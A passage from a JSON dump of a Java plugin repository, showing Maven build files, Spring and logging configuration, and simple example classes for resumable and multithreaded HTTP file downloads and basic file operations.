    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>jun_excel</artifactId>\n\t<version>1.0</version>\n\n\t<packaging>jar</packaging>\n\t<name>jun_excel</name>\n\n\t<!-- <parent>\n\t\t<groupId>org.springframework.boot</groupId>\n\t\t<artifactId>spring-boot-starter-parent</artifactId>\n\t\t<version>1.5.6.RELEASE</version>\n\t\t<relativePath />\n\t</parent> -->\n\n\t<properties>\n\t\t<slf4j.version>1.7.22</slf4j.version>\n\t</properties>\n\n\t<dependencies>\n\t\t<dependency>\n\t\t\t<groupId>junit</groupId>\n\t\t\t<artifactId>junit</artifactId>\n\t\t\t<version>4.11</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\n\t\t<!-- POI -->\n\t\t<dependency>\n\t\t\t<groupId>org.apache.poi</groupId>\n\t\t\t<artifactId>poi</artifactId>\n\t\t\t<version>3.15</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.apache.poi</groupId>\n\t\t\t<artifactId>poi-ooxml</artifactId>\n\t\t\t<version>3.15</version>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.slf4j</groupId>\n\t\t\t<artifactId>slf4j-api</artifactId>\n\t\t\t<version>${slf4j.version}</version>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>ch.qos.logback</groupId>\n\t\t\t<artifactId>logback-classic</artifactId>\n\t\t\t<version>1.1.9</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-web</artifactId>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-test</artifactId>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>junit</groupId>\n\t\t\t<artifactId>junit</artifactId>\n\t\t\t<version>4.12</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>com.alibaba</groupId>\n\t\t\t<artifactId>easyexcel</artifactId>\n\t\t\t<version>1.1.2-beta4</version>\n\t\t</dependency>\n\n\t</dependencies>\n\n\t<build>\n\t\t<finalName>jun_excel</finalName>\n\t\t<plugins>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t<artifactId>maven-compiler-plugin</artifactId>\n\t\t\t\t<version>3.5.1</version>\n\t\t\t\t<configuration>\n\t\t\t\t\t<source>1.8</source>\n\t\t\t\t\t<target>1.8</target>\n\t\t\t\t\t<encoding>UTF-8</encoding>\n\t\t\t\t</configuration>\n\t\t\t</plugin>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t<artifactId>maven-source-plugin</artifactId>\n\t\t\t\t<version>2.4</version>\n\t\t\t\t<configuration>\n\t\t\t\t\t<attach>true</attach>\n\t\t\t\t</configuration>\n\t\t\t\t<executions>\n\t\t\t\t\t<execution>\n\t\t\t\t\t\t<id>attach-sources</id>\n\t\t\t\t\t\t<goals>\n\t\t\t\t\t\t\t<goal>jar</goal>\n\t\t\t\t\t\t</goals>\n\t\t\t\t\t</execution>\n\t\t\t\t</executions>\n\t\t\t</plugin>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t<artifactId>maven-release-plugin</artifactId>\n\t\t\t\t<version>2.5.3</version>\n\t\t\t\t<configuration>\n\t\t\t\t\t<tagNameFormat>v@{project.version}</tagNameFormat>\n\t\t\t\t</configuration>\n\t\t\t</plugin>\n\t\t</plugins>\n\t</build>\n\t\n\t<dependencyManagement>\n\t\t<dependencies>\n\t\t\t<dependency>\n\t\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t\t<artifactId>spring-boot-dependencies</artifactId>\n\t\t\t\t<version>1.5.6.RELEASE</version>\n\t\t\t\t<type>pom</type>\n\t\t\t\t<scope>import</scope>\n\t\t\t</dependency>\n\t\t</dependencies>\n\t</dependencyManagement>\n\t\n</project>"
  },
  {
    "path": "jun_java_plugins/jun_excel/src/main/resources/application.properties",
    "content": "spring.http.multipart.max-file-size=100MB\nspring.http.multipart.max-request-size=100MB\nspring.http.multipart.maxFileSize=100MB\nspring.http.multipart.maxRequestSize=1000MB\n"
  },
  {
    "path": "jun_java_plugins/jun_excel/src/main/webapp/WEB-INF/web.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<web-app xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns=\"http://java.sun.com/xml/ns/javaee\" xsi:schemaLocation=\"http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd\" id=\"WebApp_ID\" version=\"3.0\">\n  <display-name>jun_test</display-name>\n  <welcome-file-list>\n    <welcome-file>index.html</welcome-file>\n    <welcome-file>index.htm</welcome-file>\n    <welcome-file>index.jsp</welcome-file>\n    <welcome-file>default.html</welcome-file>\n    <welcome-file>default.htm</welcome-file>\n    <welcome-file>default.jsp</welcome-file>\n  </welcome-file-list>\n</web-app>"
  },
  {
    "path": "jun_java_plugins/jun_excel/src/main/webapp/index.jsp",
    "content": "<html>\n<body>\n<h2>Hello World!</h2>\n</body>\n</html>\n"
  },
  {
    "path": "jun_java_plugins/jun_excel/src/test/resources/logback-test.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<configuration>\n    <!--定义日志文件的存储地址 勿在 LogBack 的配置中使用相对路径-->  \n    <property name=\"LOG_HOME\" value=\"${catalina.base}/logs\" />\n    <property name=\"PROJECT_NAME\" value=\"fastexcel\" />\n    <!-- 控制台输出 --> \n    <appender name=\"STDOUT\" class=\"ch.qos.logback.core.ConsoleAppender\">\n        <encoder class=\"ch.qos.logback.classic.encoder.PatternLayoutEncoder\"> \n             <!--格式化输出：%d表示日期，%thread表示线程名，%-5level：级别从左显示5个字符宽度%msg：日志消息，%n是换行符--> \n            <pattern>%d{yyyy-MM-dd HH:mm:ss.SSS} [%thread] %-5level %logger{50} - %msg%n</pattern>   \n        </encoder>\n    </appender>\n    <!-- 按照每天生成日志文件 -->   \n    <appender name=\"FILE\"  class=\"ch.qos.logback.core.rolling.RollingFileAppender\">\n    \t<file>${LOG_HOME}/${PROJECT_NAME}.log</file>\n        <rollingPolicy class=\"ch.qos.logback.core.rolling.TimeBasedRollingPolicy\">\n            <!--日志文件输出的文件名-->\n            <FileNamePattern>${LOG_HOME}/${PROJECT_NAME}.log.%d{yyyy-MM-dd}.%i.log</FileNamePattern> \n            <!--日志文件保留天数-->\n            <MaxHistory>30</MaxHistory>\n            <!--日志文件最大的大小-->\n        \t<timeBasedFileNamingAndTriggeringPolicy class=\"ch.qos.logback.core.rolling.SizeAndTimeBasedFNATP\">  \n        \t\t<maxFileSize>50MB</maxFileSize>  \n      \t\t</timeBasedFileNamingAndTriggeringPolicy>\n        </rollingPolicy>   \n        <encoder class=\"ch.qos.logback.classic.encoder.PatternLayoutEncoder\">\n            <!--格式化输出：%d表示日期，%thread表示线程名，%-5level：级别从左显示5个字符宽度%msg：日志消息，%n是换行符--> \n            <pattern>%d{yyyy-MM-dd HH:mm:ss.SSS} [%thread] %-5level %logger{50} - %msg%n</pattern>\n            <charset class=\"java.nio.charset.Charset\">UTF-8</charset>  \n        </encoder> \n    </appender>\n    \n    <!-- 日志输出级别 -->\n    <root level=\"DEBUG\">\n        <appender-ref ref=\"STDOUT\" />\n        <appender-ref ref=\"FILE\" />\n    </root> \n    <logger name=\"com.jun.plugin\" level=\"DEBUG\" />\n    <logger name=\"org\" level=\"DEBUG\"/>\n    \n</configuration>"
  },
  {
    "path": "jun_java_plugins/jun_fileupload/pom.xml",
    "content": "<?xml version=\"1.0\"?>\n<project\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\"\n\txmlns=\"http://maven.apache.org/POM/4.0.0\"\n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">\n\t<modelVersion>4.0.0</modelVersion>\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>jun_fileupload</artifactId>\n\t<version>1.0</version>\n\t<packaging>war</packaging>\n\n\n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t</properties>\n\n\t<dependencies>\n\t\t<!-- https://mvnrepository.com/artifact/com.servlets/cos -->\n\t\t<!-- <dependency>\n\t\t\t<groupId>com.servlets</groupId>\n\t\t\t<artifactId>cos</artifactId>\n\t\t\t<version>09May2002</version>\n\t\t</dependency> -->\n\t\t\n\t\t<!-- https://mvnrepository.com/artifact/commons-fileupload/commons-fileupload -->\n\t\t<dependency>\n\t\t\t<groupId>commons-fileupload</groupId>\n\t\t\t<artifactId>commons-fileupload</artifactId>\n\t\t\t<version>1.4</version>\n\t\t</dependency>\n\t\t<!-- https://mvnrepository.com/artifact/log4j/log4j -->\n\t\t<dependency>\n\t\t\t<groupId>log4j</groupId>\n\t\t\t<artifactId>log4j</artifactId>\n\t\t\t<version>1.2.17</version>\n\t\t</dependency>\n\n\t\t<!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->\n\t\t<dependency>\n\t\t\t<groupId>com.alibaba</groupId>\n\t\t\t<artifactId>fastjson</artifactId>\n\t\t\t<version>1.2.72</version>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>junit</groupId>\n\t\t\t<artifactId>junit</artifactId>\n\t\t\t<version>3.8.1</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\n\t\t<!-- 目标数据库，这里采用mysql -->\n\t\t<dependency>\n\t\t\t<groupId>mysql</groupId>\n\t\t\t<artifactId>mysql-connector-java</artifactId>\n\t\t\t<version>5.1.40</version>\n\t\t</dependency>\n        <dependency>\n            <groupId>javax.servlet</groupId>\n            <artifactId>servlet-api</artifactId>\n            <version>3.0-alpha-1</version>\n            <scope>compile</scope>\n        </dependency>\n    </dependencies>\n\t<build>\n\t\t<finalName>jun_fileupload</finalName>\n\t</build>\n</project>\n"
  },
  {
    "path": "jun_java_plugins/jun_fileupload/src/main/java/com/jun/plugin/file/BreakDown.java",
    "content": "package com.jun.plugin.file;\n\nimport java.io.File;\nimport java.io.InputStream;\nimport java.io.RandomAccessFile;\nimport java.net.HttpURLConnection;\nimport java.net.URL;\n\npublic class BreakDown {\n\tpublic static void main(String[] args) throws Exception {\n\t\tString fileName = \"video.avi\";\n\t\tString path = \"http://localhost:6666/website/up/\"+fileName;\n\t\tString savePath = \"d:/a/\"+fileName;\n\t\tFile file = new File(savePath);\n\t\tlong size = file.length();\n\t\tSystem.err.println(file.length());\n\t\t\n\t\tURL url = new URL(path);\n\t\tHttpURLConnection con = (HttpURLConnection) url.openConnection();\n\t\tcon.setRequestMethod(\"GET\");\n\t\t//设置下载区间\n\t\tcon.setRequestProperty(\"range\",\"bytes=\"+size+\"-\");\n\t\tcon.connect();\n\t\tint code = con.getResponseCode();//只要断点下载，返回的已经不是200，206\n\t\tSystem.err.println(code);\n\t\tif(code==206){\n\t\t\tInputStream in= con.getInputStream();\n\t\t\tint serverSize = con.getContentLength();\n\t\t\tSystem.err.println(\"服务器返回的长度:\"+serverSize);\n\t\t\tSystem.err.println(\"这次从哪开开始写:\"+size);\n\t\t\t//必须要使用\n\t\t\tRandomAccessFile out = new RandomAccessFile(file,\"rw\");\n\t\t\tout.seek(size);\n\t\t\t\n\t\t\tbyte[] b = new byte[1024];\n\t\t\tint len = -1;\n\t\t\twhile((len=in.read(b))!=-1){\n\t\t\t\tout.write(b,0,len);\n\t\t\t}\n\t\t\tout.close();\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_fileupload/src/main/java/com/jun/plugin/file/CommonDown.java",
    "content": "package com.jun.plugin.file;\nimport java.io.FileOutputStream;\nimport java.io.InputStream;\nimport java.io.OutputStream;\nimport java.math.BigDecimal;\nimport java.net.HttpURLConnection;\nimport java.net.URL;\npublic class CommonDown {\n\tpublic static void main(String[] args) throws Exception {\n\t\tString path = \"http://localhost:6666/day22_cos/up/video.avi\";\n\t\tURL url = new URL(path);\n\t\tHttpURLConnection con = (HttpURLConnection) url.openConnection();\n\t\tcon.setRequestMethod(\"GET\");\n\t\tcon.setDoInput(true);\n\t\tcon.connect();\n\t\tint code = con.getResponseCode();\n\t\tSystem.err.println(code);\n\t\tif (code == 200) {\n\t\t\t//获取文件大小\n\t\t\tlong size = con.getContentLength();\n\t\t\tSystem.err.println(\"总大小是:\"+size);\n\t\t\t//声明下载到的字节\n\t\t\tlong sum=0;\n\t\t\tBigDecimal bd = new BigDecimal(0D);\n\t\t\tdouble already = 0D;\n\t\t\tInputStream in = con.getInputStream();\n\t\t\tbyte[] b = new byte[1024];\n\t\t\tint len = -1;\n\t\t\tOutputStream out = new FileOutputStream(\"d:/a/video.avi\");\n\t\t\twhile ((len = in.read(b)) != -1) {\n\t\t\t\tout.write(b, 0, len);\n\t\t\t\tsum=sum+len;\n\t\t\t\tdouble percent = ((double)sum)/((double)size);\n\t\t\t\tpercent*=100;\n\t\t\t\tbd = new BigDecimal(percent);\n\t\t\t\tbd = bd.divide(new BigDecimal(1),0,BigDecimal.ROUND_HALF_UP);\n\t\t\t\tif(bd.doubleValue()!=already){\n\t\t\t\t\tSystem.err.println(bd.intValue()+\"%\");\n\t\t\t\t\talready=bd.doubleValue();\n\t\t\t\t}\n\t\t\t}\n\t\t\tout.close();\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_fileupload/src/main/java/com/jun/plugin/file/FileTest.java",
    "content": "package com.jun.plugin.file;\n\nimport java.io.File;\nimport java.util.Arrays;\nimport java.util.Date;\n\n/**\n * File类测试\n * \n * @author cxy @ www.cxyapi.com\n */\npublic class FileTest {\n\tpublic static void main(String[] args) throws Exception {\n\t\tString filePath = \"D:\" + File.separator + \"fileTest\" + File.separator;\n\t\tString fileName = \"test.txt\";\n\t\tFile myFolder = new File(filePath);\n\t\t// 文件夹不存在时创建文件夹\n\t\tif (!myFolder.exists()) {\n\t\t\t// myFolder.mkdir(); //创建当前目录\n\t\t\tmyFolder.mkdirs(); // 创建当前目录结构的所有目录\n\t\t}\n\t\t// 文件不存在时创建文件\n\t\tFile myFile = new File(filePath + fileName);\n\t\tif (!myFile.exists()) {\n\t\t\tmyFile.createNewFile();// 创建一个文件\n\t\t}\n\t\tSystem.out.println(\"------------------------\");\n\t\t// 文件信息\n\t\tSystem.out.println(\"文件绝对路径:\" + myFile.getAbsolutePath());\n\t\tSystem.out.println(\"文件名称:\" + myFile.getName());\n\t\tSystem.out.println(\"文件父节点:\" + myFile.getParent());\n\t\tSystem.out.println(\"是文件夹吗？:\" + myFile.isDirectory());\n\t\tSystem.out.println(\"是文件吗？:\" + myFile.isFile());\n\t\tSystem.out.println(\"是隐藏的吗？:\" + myFile.isHidden());\n\t\tSystem.out.println(\"是可读的吗？:\" + myFile.canRead());\n\t\tSystem.out.println(\"是可写的吗？:\" + myFile.canWrite());\n\t\tSystem.out.println(\"是可执行的吗？:\" + myFile.canExecute());\n\t\tSystem.out.println(\"最后一次修改时间？:\" + new Date(myFile.lastModified()));\n\t\tSystem.out.println(\"文件的大小:\" + myFile.length());\n\t\tSystem.out.println(myFile.toURI());\n\t\tSystem.out.println(\"------------------------\");\n\t\t// 文件列表\n\t\tString[] allFileNameInPath = myFolder.list(); // 当前路径下所有文件和文件夹的名称\n\t\tSystem.out.println(Arrays.asList(allFileNameInPath));\n\t\tFile[] allFileInPath = myFolder.listFiles(); // 当前路径下所有文件和文件夹数组\n\t\tFile[] roots = File.listRoots(); // 所有磁盘根路径，可以使用上面的方法继续对其进行遍历\n\t\tfor (File one : roots) {\n\t\t\tSystem.out.print(one + \"  \");\n\t\t}\n\t\tSystem.out.println(\"\");\n\t\tSystem.out.println(\"------------------------\");\n\t\t// 删除文件 和 文件夹\n\t\tmyFile.delete();\n\t\tif (!myFile.exists()) {\n\t\t\tSystem.out.println(\"文件删除成功\");\n\t\t}\n\t\tmyFolder.delete();\n\t\tif (!myFolder.exists()) {\n\t\t\tSystem.out.println(\"文件夹删除成功\");\n\t\t}\n\t\tSystem.out.println(\"------------------------\");\n\t\t// 临时文件相关操作\n\t\tFile tempFilePath = new File(\".\"); // 在当前项目路径下\n\t\t// 以temp开头，txt结尾的临时文件，如果不带最后一个参数那么临时文件将生成到当前操作系统的临时文件目录中\n\t\tFile tempFile = File.createTempFile(\"temp\", \".txt\", tempFilePath);\n\t\tSystem.out.println(\"临时文件位置：\" + tempFile.getAbsolutePath());\n\t\ttempFile.deleteOnExit(); // jvm结束的时候删除文件\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_fileupload/src/main/java/com/jun/plugin/file/GetURL.java",
    "content": "package com.jun.plugin.file;\nimport java.io.*;\nimport java.net.*;\n\npublic class GetURL {\n    public static void main(String[] args) {\n        InputStream in = null;   \n        OutputStream out = null;\n        try {\n            // ��������в���\n            if ((args.length != 1)&& (args.length != 2)) \n                throw new IllegalArgumentException(\"Wrong number of args\");\n\t    \n            // �������������\n            URL url = new URL(args[0]); \n            in = url.openStream();        \n            if (args.length == 2) \n                out = new FileOutputStream(args[1]);\n            else out = System.out;\n\t    \n            // �� URL �����������\n            byte[] buffer = new byte[4096];\n            int bytes_read;\n            while((bytes_read = in.read(buffer)) != -1)\n                out.write(buffer, 0, bytes_read);\n\t}\n        // �����쳣�����������Ϣ\n        catch (Exception e) {\n            System.err.println(e);\n            System.err.println(\"Usage: java GetURL <URL> [<filename>]\");\n        }\n        finally {  // ��֤�ر��������������\n            try { in.close();  out.close(); } catch (Exception e) {}\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_fileupload/src/main/java/com/jun/plugin/file/GetWebPages.java",
    "content": "package com.jun.plugin.file;\n\nimport java.io.BufferedReader;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.InputStreamReader;\nimport java.io.OutputStreamWriter;\nimport java.io.PrintWriter;\nimport java.net.URL;\nimport java.net.URLConnection;\n\npublic class GetWebPages {\n\n\t/**\n\t * @param args\n\t */\n\tpublic static void main(String[] args) {\n\t\ttry {\n\t\t\t URL url = new URL(\"http://jj.24365pt.com/index.jhtml\");\n\n\t\t\t URLConnection conn = url.openConnection();\n\t\t\t conn.setDoOutput(true);\n\t\t\t InputStream in = null;\n\t\t\t in = url.openStream();\n\t\t\t String content = pipe(in,\"utf-8\");\n\t\t\t System.out.println(content);\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\n\tstatic String pipe(InputStream in,String charset) throws IOException {\n        StringBuffer s = new StringBuffer();\n        if(charset==null||\"\".equals(charset)){\n        \tcharset=\"utf-8\";\n        }\n        String rLine = null;\n        BufferedReader bReader = new BufferedReader(new InputStreamReader(in,charset));\n        PrintWriter pw = null;\n        \n\t\tFileOutputStream fo = new FileOutputStream(\"../index.html\");\n\t\tOutputStreamWriter writer = new OutputStreamWriter(fo, \"utf-8\");\n\t\tpw = new PrintWriter(writer);\n        while ( (rLine = bReader.readLine()) != null) {\n            String tmp_rLine = rLine;\n            int str_len = tmp_rLine.length();\n            if (str_len > 0) {\n              s.append(tmp_rLine);\n              pw.println(tmp_rLine);\n              pw.flush();\n            }\n            tmp_rLine = null;\n       }\n        in.close();\n        pw.close();\n        return s.toString();\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_fileupload/src/main/java/com/jun/plugin/file/MultiThreadDown.java",
    "content": "package com.jun.plugin.file;\nimport java.io.File;\nimport java.io.InputStream;\nimport java.io.RandomAccessFile;\nimport java.net.HttpURLConnection;\nimport java.net.URL;\n/**\n * 多线程下载同一个文件\n       思想：\n *\n */\npublic class MultiThreadDown {\n\tpublic MultiThreadDown() throws Exception {\n\t\t//声明url\n\t\tString path = \"http://localhost:6666/day23/up/bin.zip\";\n\t\t//第一步：声明url对象\n\t\tURL url = new URL(path);\n\t\t//第二步：返回连接对象\n\t\tHttpURLConnection con = (HttpURLConnection) url.openConnection();\n\t\t//第三步：设置请求类型\n\t\tcon.setRequestMethod(\"GET\");\n\t\t//第四步接收信息\n\t\tcon.setDoInput(true);\n\t\t//第五步：连接\n\t\tcon.connect();\n\t\t//6:状态码\n\t\tint code = con.getResponseCode();\n\t\tif(code==200){\n\t\t\t//7：数据的长度\n\t\t\tint sum = con.getContentLength();\n\t\t\tSystem.err.println(\"总文件的大小：\"+sum);\n\t\t\t//7.1有了文件的长度，直接创建一个相同大小的文件\n\t\t\tString fileName = \"d:/a/bin.zip\";\n\t\t\tRandomAccessFile file = new RandomAccessFile(new File(fileName),\"rw\");\n\t\t\tfile.setLength(sum);\n\t\t\tfile.close();\n\t\t\t//8：声明线程的个数\n\t\t\tint threadCount = 3;\n\t\t\t//9:计算每个线程的下载量\n\t\t\tint threadSize = sum/threadCount +(sum%threadCount==0?0:1);\n\t\t\tSystem.err.println(\"每个线程下载的数据量：\"+threadSize);\n\t\t\t//10:计算每个线程下载的数据量\n\t\t\tfor(int i=0;i<threadCount;i++){\n\t\t\t\tint start =i*threadSize;\n\t\t\t\tint end = start+(threadSize-1);\n\t\t\t\tSystem.err.println(\"第\"+(i+1)+\"个线程应该下载的是:bytes=\"+start+\"-\"+end);\n\t\t\t\t//启动多个线程\n\t\t\t\tnew MyDownThread(url,fileName,start,end).start();\n\t\t\t}\n\t\t\n\t\t}\n\t\tcon.disconnect();\n\t}\n\tpublic static void main(String[] args) throws Exception {\n\t\tnew MultiThreadDown();\n\t}\n}\n/**\n * 所有线程要知\n * 道url地址\n * 写哪一个文件\n * 从哪儿开始写\n * 一共多少字节,数据\n */\nclass MyDownThread extends Thread{\n\tprivate URL url;\n\tprivate String fileName;\n\tprivate int start;\n\tprivate int end;\n\tpublic MyDownThread(URL url, String fileName, int start, int end) {\n\t\tthis.url = url;\n\t\tthis.fileName = fileName;\n\t\tthis.start = start;\n\t\tthis.end = end;\n\t}\n\t@Override\n\tpublic void run() {\n\t\ttry{\n\t\t\t//打开连接\n\t\t\tHttpURLConnection con = (HttpURLConnection) url.openConnection();\n\t\t\t//设置\n\t\t\tcon.setRequestMethod(\"GET\");\n\t\t\tcon.setDoInput(true);\n\t\t\t//设置从哪儿开始下载数据\n\t\t\tcon.setRequestProperty(\"range\",\"bytes=\"+start+\"-\"+end);\n\t\t\tcon.connect();\n\t\t\tint code = con.getResponseCode();\n\t\t\tif(code==206){\n\t\t\t\tint size = con.getContentLength();\n\t\t\t\tSystem.err.println(\"线程:\"+this.getName()+\",下载的数据量为:\"+size);\n\t\t\t\tInputStream in = con.getInputStream();\n\t\t\t\t//写同一文件\n\t\t\t\tRandomAccessFile file = new RandomAccessFile(new File(fileName),\"rw\");\n\t\t\t\t//设置从文件的什么位置开始写数据\n\t\t\t\tfile.seek(start);\n\t\t\t\t//读取数据\n\t\t\t\tbyte[] b = new byte[1024];\n\t\t\t\tint len = 0;\n\t\t\t\twhile((len=in.read(b))!=-1){\n\t\t\t\t\tfile.write(b,0,len);\n\t\t\t\t}\n\t\t\t\tfile.close();\n\t\t\t}\n\t\t\tcon.disconnect();\n\t\t}catch(Exception e){\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_fileupload/src/main/java/com/jun/plugin/file/cos/BreakDown.java",
    "content": "package com.jun.plugin.file.cos;\n\nimport java.io.File;\nimport java.io.InputStream;\nimport java.io.RandomAccessFile;\nimport java.net.HttpURLConnection;\nimport java.net.URL;\n\npublic class BreakDown {\n\tpublic static void main(String[] args) throws Exception {\n\t\tString fileName = \"video.avi\";\n\t\tString path = \"http://localhost:6666/day22_cos/up/\"+fileName;\n\t\tString savePath = \"d:/a/\"+fileName;\n\t\tFile file = new File(savePath);\n\t\tlong size = file.length();\n\t\tSystem.err.println(file.length());\n\t\t\n\t\tURL url = new URL(path);\n\t\tHttpURLConnection con = (HttpURLConnection) url.openConnection();\n\t\tcon.setRequestMethod(\"GET\");\n\t\t//设置下载区间\n\t\tcon.setRequestProperty(\"range\",\"bytes=\"+size+\"-\");\n\t\tcon.connect();\n\t\tint code = con.getResponseCode();//只要断点下载，返回的已经不是200，206\n\t\tSystem.err.println(code);\n\t\tif(code==206){\n\t\t\tInputStream in= con.getInputStream();\n\t\t\tint serverSize = con.getContentLength();\n\t\t\tSystem.err.println(\"服务器返回的长度:\"+serverSize);\n\t\t\tSystem.err.println(\"这次从哪开开始写:\"+size);\n\t\t\t//必须要使用\n\t\t\tRandomAccessFile out = new RandomAccessFile(file,\"rw\");\n\t\t\tout.seek(size);\n\t\t\t\n\t\t\tbyte[] b = new byte[1024];\n\t\t\tint len = -1;\n\t\t\twhile((len=in.read(b))!=-1){\n\t\t\t\tout.write(b,0,len);\n\t\t\t}\n\t\t\tout.close();\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_fileupload/src/main/java/com/jun/plugin/file/cos/CommonDown.java",
    "content": "package com.jun.plugin.file.cos;\n\n\nimport java.io.FileOutputStream;\nimport java.io.InputStream;\nimport java.io.OutputStream;\nimport java.math.BigDecimal;\nimport java.net.HttpURLConnection;\nimport java.net.URL;\npublic class CommonDown {\n\tpublic static void main(String[] args) throws Exception {\n\t\tString path = \"http://localhost:6666/day22_cos/up/video.avi\";\n\t\tURL url = new URL(path);\n\t\tHttpURLConnection con = (HttpURLConnection) url.openConnection();\n\t\tcon.setRequestMethod(\"GET\");\n\t\tcon.setDoInput(true);\n\t\tcon.connect();\n\t\tint code = con.getResponseCode();\n\t\tSystem.err.println(code);\n\t\tif (code == 200) {\n\t\t\t//获取文件大小\n\t\t\tlong size = con.getContentLength();\n\t\t\tSystem.err.println(\"总大小是:\"+size);\n\t\t\t//声明下载到的字节\n\t\t\tlong sum=0;\n\t\t\tBigDecimal bd = new BigDecimal(0D);\n\t\t\tdouble already = 0D;\n\t\t\tInputStream in = con.getInputStream();\n\t\t\tbyte[] b = new byte[1024];\n\t\t\tint len = -1;\n\t\t\tOutputStream out = new FileOutputStream(\"d:/a/video.avi\");\n\t\t\twhile ((len = in.read(b)) != -1) {\n\t\t\t\tout.write(b, 0, len);\n\t\t\t\tsum=sum+len;\n\t\t\t\tdouble percent = ((double)sum)/((double)size);\n\t\t\t\tpercent*=100;\n\t\t\t\tbd = new BigDecimal(percent);\n\t\t\t\tbd = bd.divide(new BigDecimal(1),0,BigDecimal.ROUND_HALF_UP);\n\t\t\t\tif(bd.doubleValue()!=already){\n\t\t\t\t\tSystem.err.println(bd.intValue()+\"%\");\n\t\t\t\t\talready=bd.doubleValue();\n\t\t\t\t}\n\t\t\t}\n\t\t\tout.close();\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_fileupload/src/main/java/com/jun/plugin/file/download/test/DownloadStartup.java",
    "content": "package com.jun.plugin.file.download.test;\n\n/**\n * \n * @author annegu\n * @since 2009-07-16\n *\n */\npublic class DownloadStartup {\n\n\tprivate static final String encoding = \"utf-8\";\n\tpublic static void main(String[] args) {\n\n\t\tDownloadTask downloadManager = new DownloadTask();\n\t\t\n//\t\tString urlStr = \"http://yztele4.skycn.com/down/Thunder5.9.3.951.zip\";\n\t\tString urlStr = \"http://apache.freelamp.com/velocity/tools/1.4/velocity-tools-1.4.zip\";\n//\t\tString urlStr = \"http://www.dianping.com/\";\n\t\t\n\t\tdownloadManager.setSleepSeconds(5);\n\t\tString downladFileName = downloadManager.download(urlStr, encoding);\n\t\tSystem.out.println(\"Download file is \" + downladFileName + \".\");\t\t\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_fileupload/src/main/java/com/jun/plugin/file/download/test/DownloadTask.java",
    "content": "package com.jun.plugin.file.download.test;\n//���ͣ�http://blog.csdn.net/m_changgong\nimport java.io.BufferedInputStream;\nimport java.io.BufferedOutputStream;\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.FileNotFoundException;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.net.HttpURLConnection;\nimport java.net.URL;\nimport java.net.URLConnection;\nimport java.util.UUID;\nimport java.util.concurrent.CountDownLatch;\nimport java.util.concurrent.ExecutorService;\nimport java.util.concurrent.Executors;\nimport java.util.concurrent.TimeUnit;\n\npublic class DownloadTask {\n\n\t// private static transient\n\t// �ֶ����ص��̸߳���\n\tprivate int threadNum = 5;\n\tprivate URL url = null;\n\tprivate long threadLength = 0;\n\t// Ŀ���ļ�·��������\n\tpublic String fileDir = \"E:/test/\";\n\tpublic String fileName = \"test.html\";\n\tpublic boolean statusError = false;\n\tprivate String charset;\n\n\tpublic long sleepSeconds = 5;\n\n\tpublic String download(String urlStr, String charset) {\n\t\tstatusError = false;\n\t\tthis.charset = charset;\n\t\tlong contentLength = 0;\n\t\tCountDownLatch latch = new CountDownLatch(threadNum);\n\t\tChildThread[] childThreads = new ChildThread[threadNum];\n\t\tlong[] startPos = new long[threadNum];\n\t\tlong endPos = 0;\n\n\t\ttry {\n\t\t\t// ��url�л�����ص��ļ���ʽ������\n\t\t\tthis.fileName = 